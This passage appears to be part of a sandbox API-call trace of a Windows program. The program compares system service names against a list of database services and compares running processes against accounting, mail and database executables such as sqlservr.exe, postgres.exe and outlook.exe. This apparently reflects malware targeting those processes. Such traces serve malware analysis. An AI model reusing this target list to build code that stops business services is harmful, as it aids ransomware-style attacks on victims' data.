lpString2="AudioSrv") returned 1 [0034.021] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0034.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0034.021] lstrlenW (lpString="BFE") returned 3 [0034.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0034.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0034.021] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0034.022] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0034.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0034.022] lstrlenW (lpString="CryptSvc") returned 8 [0034.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0034.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0034.022] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0034.022] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0034.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0034.022] lstrlenW (lpString="CscService") returned 10 [0034.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0034.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0034.022] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0034.022] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0034.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0034.022] lstrlenW (lpString="DcomLaunch") returned 10 [0034.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.022] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0034.022] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0034.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0034.022] lstrlenW (lpString="Dhcp") returned 4 [0034.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0034.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0034.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0034.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0034.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0034.022] lstrlenW (lpString="Dnscache") returned 8 [0034.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0034.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0034.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0034.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0034.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0034.022] lstrlenW (lpString="DPS") returned 3 [0034.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0034.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0034.023] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0034.023] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0034.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0034.023] lstrlenW (lpString="eventlog") returned 8 [0034.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0034.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0034.023] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0034.023] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0034.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0034.023] lstrlenW (lpString="EventSystem") returned 11 [0034.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0034.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0034.023] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0034.023] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0034.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0034.023] lstrlenW (lpString="gpsvc") returned 5 [0034.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0034.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0034.023] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0034.023] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0034.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0034.023] lstrlenW (lpString="iphlpsvc") returned 8 [0034.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.023] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0034.023] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0034.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0034.023] lstrlenW (lpString="LanmanServer") returned 12 [0034.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0034.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0034.024] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0034.024] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0034.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0034.024] lstrlenW (lpString="LanmanWorkstation") returned 17 [0034.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.024] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0034.024] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0034.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0034.024] lstrlenW (lpString="lmhosts") returned 7 [0034.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0034.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0034.024] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0034.024] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0034.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0034.024] lstrlenW (lpString="MMCSS") returned 5 [0034.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0034.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0034.024] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0034.024] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0034.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0034.024] lstrlenW (lpString="MpsSvc") returned 6 [0034.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0034.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0034.024] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0034.024] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0034.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0034.024] lstrlenW (lpString="Netman") returned 6 [0034.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0034.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0034.025] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0034.025] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0034.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0034.025] lstrlenW (lpString="netprofm") returned 8 [0034.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0034.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0034.025] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0034.025] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0034.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0034.025] lstrlenW (lpString="NlaSvc") returned 6 [0034.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0034.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0034.025] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0034.025] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0034.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0034.025] lstrlenW (lpString="nsi") returned 3 [0034.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0034.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0034.025] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0034.025] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0034.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0034.025] lstrlenW (lpString="PcaSvc") returned 6 [0034.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0034.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0034.025] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0034.025] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0034.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0034.025] lstrlenW (lpString="PlugPlay") returned 8 [0034.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0034.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0034.025] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0034.026] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0034.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0034.026] lstrlenW (lpString="Power") returned 5 [0034.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0034.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0034.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0034.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0034.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0034.026] lstrlenW (lpString="ProfSvc") returned 7 [0034.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0034.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0034.026] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0034.026] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0034.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0034.026] lstrlenW (lpString="RpcEptMapper") returned 12 [0034.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.026] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0034.026] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0034.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0034.026] lstrlenW (lpString="RpcSs") returned 5 [0034.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0034.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0034.026] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0034.026] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0034.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0034.026] lstrlenW (lpString="SamSs") returned 5 [0034.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0034.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0034.026] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0034.026] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0034.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0034.026] lstrlenW (lpString="Schedule") returned 8 [0034.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0034.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0034.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0034.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0034.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0034.027] lstrlenW (lpString="SENS") returned 4 [0034.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0034.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0034.027] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0034.027] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0034.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0034.027] lstrlenW (lpString="ShellHWDetection") returned 16 [0034.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.027] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0034.027] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0034.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0034.027] lstrlenW (lpString="Spooler") returned 7 [0034.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0034.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0034.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0034.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0034.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0034.027] lstrlenW (lpString="SysMain") returned 7 [0034.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0034.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0034.027] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0034.027] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0034.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0034.027] lstrlenW (lpString="Themes") returned 6 [0034.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0034.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0034.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0034.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0034.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0034.027] lstrlenW (lpString="TrkWks") returned 6 [0034.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0034.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0034.028] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0034.028] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0034.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0034.028] lstrlenW (lpString="UxSms") returned 5 [0034.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0034.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0034.028] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0034.028] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0034.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0034.028] lstrlenW (lpString="WdiServiceHost") returned 14 [0034.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.028] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0034.028] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0034.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0034.028] lstrlenW (lpString="WdiSystemHost") returned 13 [0034.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.028] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0034.028] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0034.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0034.028] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0034.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.028] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0034.028] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0034.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0034.028] lstrlenW (lpString="Winmgmt") returned 7 [0034.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0034.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0034.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0034.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0034.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0034.029] lstrlenW (lpString="WPDBusEnum") returned 10 [0034.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0034.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0034.029] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0034.029] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0034.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0034.029] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3eb01a0 | out: hHeap=0x5f0000) returned 1 [0034.029] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0034.031] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0034.031] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0034.032] lstrlenW (lpString="System") returned 6 [0034.032] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0034.032] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0034.032] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0034.032] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0034.032] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0034.032] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0034.032] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0034.032] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0034.033] lstrlenW (lpString="smss.exe") returned 8 [0034.033] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0034.033] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0034.033] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0034.033] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0034.033] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0034.033] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0034.033] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0034.033] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.034] lstrlenW (lpString="csrss.exe") returned 9 [0034.034] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0034.034] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0034.034] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0034.034] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0034.034] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0034.034] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0034.034] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0034.034] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0034.035] lstrlenW (lpString="wininit.exe") returned 11 [0034.035] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0034.035] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0034.035] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0034.035] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0034.035] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0034.035] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0034.035] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0034.035] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.036] lstrlenW (lpString="csrss.exe") returned 9 [0034.036] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0034.036] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0034.036] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0034.036] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0034.036] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0034.036] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0034.036] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0034.037] lstrlenW (lpString="winlogon.exe") returned 12 [0034.037] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0034.037] lstrlenW (lpString="services.exe") returned 12 [0034.038] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0034.038] lstrlenW (lpString="lsass.exe") returned 9 [0034.038] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0034.039] lstrlenW (lpString="lsm.exe") returned 7 [0034.039] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.040] lstrlenW (lpString="svchost.exe") returned 11 [0034.040] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.040] lstrlenW (lpString="svchost.exe") returned 11 [0034.041] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 